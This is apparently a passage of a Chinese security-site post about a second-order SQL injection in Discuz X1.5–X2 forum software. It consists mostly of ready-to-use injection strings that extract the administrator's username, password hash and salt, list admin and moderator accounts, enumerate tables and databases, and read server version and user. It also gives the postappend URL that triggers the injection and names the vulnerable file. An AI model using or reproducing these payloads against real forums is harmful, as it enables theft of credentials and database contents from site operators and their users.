a',`subject`=(/*!select*/ concat(username,'|',password,'|',salt) from pre_ucenter_members where uid=1 limit 0,1),comment=' 再给出一些语句。 ',`subject`=(/*!select*/ group_concat(uid,':') from pre_common_member where groupid=1),comment='//查看管理用户 ',`subject`=(/*!select*/ group_concat(uid,':') from pre_common_member where groupid=2),comment='//超级版主 ',`subject`=(/*!select*/ group_concat(uid,':') from pre_common_member where groupid=3),comment='//超级版主 ',`subject`=(/*!select*/ table_name from information_schema.tables where table_schema=0x0000 limit 0,1),comment='//跑表 ',`subject`=(/*!select*/ group_concat(schema_name) from information_schema.schemata),comment='//获取所有库 ',`subject`=(/*!select*/ concat(@@version,':',user(),':',database())),comment='//版本信息 然后到回复补充那里随便补充一下，注入语句就被执行。 补充的地址： forum.php?mod=misc&tid={tid}&action=postappend&pid={pid} 上面的语句就会把取得的内容写进回复主题返回。 漏洞 文件： source\module\forum\forum_misc.php
查看更多关于Discuz x1.5 – x2版本 二次注射 - 网站安全 - 自学的详细内容...